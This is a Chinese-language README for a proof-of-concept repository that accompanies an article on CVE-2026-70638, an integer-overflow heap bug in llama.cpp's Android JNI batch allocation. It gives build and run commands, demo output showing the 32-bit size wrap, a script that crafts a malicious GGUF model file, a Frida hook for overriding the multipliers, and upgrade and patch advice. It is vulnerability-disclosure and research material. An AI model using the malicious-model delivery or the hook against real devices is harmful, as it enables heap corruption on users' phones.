
Hunt-Benito 文章的配套 PoC “多乘了一次:CVE-2026-70638 — llama.cpp 的 Android JNI 堆分配中的整数溢出” → https://www.hunt-benito.com/blog/one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow/
Java_android_llama_cpp_LLamaAndroid_new_1batch()(位于 examples/llama.android/llama/src/main/cpp/llama-android.cpp,llama.cpp 构建版本 b1886–b7445)是 llama_batch_init() 的手工复制版本,其中执行了多处未经检查的 malloc(sizeof(T) * count) 计算。当攻击者控制某个乘数(n_seq_max、n_tokens 或 embd)时,计算结果会发生回绕,堆块尺寸不足,调用者随后的写入将使其溢出(CWE-190 → CWE-122)。NVD CVSS 3.1 7.8 高危(AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)。
函数中易受攻击的核心代码:
batch->seq_id[i] = (llama_seq_id *) malloc(sizeof(llama_seq_id) * n_seq_max);
# 1. Arithmetic demonstrator (the core of the article's PoC)
cc -O2 -o overflow_demo overflow_demo.c
./overflow_demo
# 2. Malicious model file
python3 craft_gguf.py 0x40000001 malicious.gguf # -> 416-byte GGUF
xxd malicious.gguf | head # verify magic 'GGUF' + key
# 3. Live hook (rooted/emulator device with frida-server, authorized target only)
frida -U -l hook_new_batch.js -f <package> --no-pause
[2] Malicious: n_seq_max = 0x40000000 (2^30). 4 * 2^30 = 2^32 -> wraps:
n_seq_max (attacker) = 1073741824 (0x40000000)
malloc size, arm64 = 4294967296 bytes (4.00 GiB)
malloc size, armeabi-v7a = 0 bytes
caller believes it got = 4294967296 bytes
>>> 32-bit WRAP: 4294967296-byte write into 0-byte heap block (CWE-122)
armeabi-v7a,仍随发行版本提供)上可直接触达。在 64 位(arm64-v8a)上,同样的未检查表达式会转而请求一个多 GiB 的块,malloc 将失败(NULL → 后续崩溃/DoS);堆破坏则需要走 32 位路径。overflow_demo.c 不执行任何越界写入——它只证明算术会发生回绕。craft_gguf.py 生成的是不可运行的模型(无张量),因此无法直接武器化;它表明攻击者控制的乘数来源于不可信的元数据。将 llama.cpp 升级到 b7446 或更高版本(new_1batch JNI 路径已随 Android 绑定的重写被移除)。如果必须继续使用受影响的构建版本或下游分支,请应用 Cyera 的验证补丁:
https://github.com/Vladimir-tokarev-cyera/llama-cpp-security-patches
(CVE-2026-43627 的 batch-init 防护是此类漏洞的标准修复方案)。
仅供授权的安全研究与教育使用。
| 文件 | 用途 |
|---|
overflow_demo.c | 在 32 位(armeabi-v7a)与 64 位(arm64-v8a)size_t 下复现回绕尺寸运算的独立程序。无破坏性写入——可在任何环境安全运行。 |
craft_gguf.py | 构建一个最小的、结构有效的 GGUF 文件,将 llama.embedding_length 设置为攻击者可控的数值,展示模型文件投递向量(embd 直接从不可信的元数据中读取)。 |
hook_new_batch.js | Frida 钩子,用于在研究设备的实时 JNI 边界上记录/覆盖这三个乘数。 |